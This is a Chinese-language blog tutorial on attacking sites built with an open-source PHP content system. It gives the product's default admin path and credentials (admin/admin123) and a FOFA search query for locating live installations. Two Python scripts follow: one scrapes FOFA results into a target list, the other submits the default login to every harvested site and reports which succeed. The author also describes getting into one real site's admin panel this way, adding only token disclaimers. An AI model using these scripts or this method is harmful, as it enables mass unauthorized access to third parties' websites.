0x00 開源程式介紹
挖掘漏洞的時候挖掘的物件的框架涉及到兩種:
第一種是閉源框架,閉源框架里面涉及到兩種,一是個人開發,不對外使用,或者未公開,二是商用型,需要甲方購買使用,這些一般都是閉源的,很難拿到原始碼,
第二種是開源框架,也就是我們今天要講的,開源框架既你可以在網上獲取到原始碼資訊,能夠獲取到原始碼,那操作空間不就來了嘛?
0x01 某開源程式漏洞挖掘
(1)原始碼獲取
現在網上的原始碼網站很多,這里推薦一個作為示范
https://down.chinaz.com/
選取開源程式需要注意:
1.原始碼是否最近有更新,不要選取太老舊的框架,避免后期資訊收集很難,
2.還要選取熱度比較高的原始碼,說明使用的物件多,后面的資訊收集,挖掘的物件也就多,
3.還要注意原始碼的腳本型別,簡單介紹一下,常見的腳本型別,PHP,Python,C,java等,這里推薦挖掘php的原始碼程式,因為相對于其他型別的原始碼,php還是比較容易挖掘,相對于java,難度系數就很大,
4.這里我們選擇了一個php型別的建站系統,下載進行挖掘

(2)基本資訊收集
選取了對應的原始碼,第二步開始資訊收集,首先需要收集原始碼的基本資訊,比如默認后臺,默認的介面,以及一切默認的賬戶密碼,這些都不能忽略,
這里看到默認的產品說明,記錄了網站的默認后臺以及賬戶密碼
后臺網址: ../admindm-yourname/g.php
用戶名:admin 密碼: admin123

接下來我們可以對這個后臺進行廣泛的資訊收集,看有沒有粗心的程式員使用的默認賬戶后臺,
(3)fofa資訊收集后臺:
fofa:"admindm-yourname"


這里問題來了,找到對應的框架網站,如何找到后臺呢?我們可以模擬建站,或者到網上搜索該原始碼的示例網站,
后臺地址:/admindmyourname/mod_common/login.php

通過原始碼里面看到,后臺的欄位名其實可以修改,但是不避免有粗心的程式員未修改,這里我們拼接剛剛的后臺路徑,發現成功加入后臺,

下一步,嘗試弱口令,抓到一個粗心的程式員!!!妥妥的弱口令不舊來了嘛,后面可以嘗試其他的權限獲取,但是要在授權的情況下,安全測驗,出事均由本人承擔相應責任,/狗頭

(4)批量收集后臺,批量挖掘弱口令
思路和方法都清晰了,下面我們進行批量的資訊收集和挖掘弱口令
fofa批量爬取物件:
import requests
import base64
from lxml import etree
import time
search_data='"admindm-yourname"' #條件
headers={
'cookie':'你的cookie',
}
for yeshu in range(1,6):
url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
search_data_bs=str(base64.b64encode(search_data.encode("utf-8")),"utf-8")
urls=url+search_data_bs
print(urls)
try:
print('正在提取第'+str(yeshu)+'頁')
result=requests.get(urls,headers=headers).content
soup=etree.HTML(result)
ip_data=soup.xpath('//span[@class="aSpan"]/a[@target="_blank"]/@href')
ipdata='\n'.join(ip_data)
print(ip_data)
with open(r'./dm.txt','a+') as f:
f.write(ipdata+'\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass

python批量驗證:
import requests
def check_login():
data={
'user':'admin',
'password':'admin123'
}
for url in open('dm.txt'):
url= url.replace('\n','')
urls= url+'/admindm-yourname/mod_common/login.php'
try:
result =requests.post(urls,data=data).content.decode('utf-8')
if 'sorry' in result: #sorry可以適當修改條件
print(url+'不存在')
else:
print(url+'存在')
except Exception as e:
pass
if __name__ == '__main__':
check_login()

逐一驗證即可!
(4)原始碼審計挖掘
需要一定php基礎,讀懂代碼復現漏洞
代碼審計后本地自主搭建,測驗漏洞,請勿非法測驗!后果皆由測驗本人承擔!
seay代碼審計:自行審計測驗,這里就不作演示

請勿非法測驗!文章作為思路學習開源的專案挖掘,還請師傅們多多提意見
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/387790.html
標籤:其他
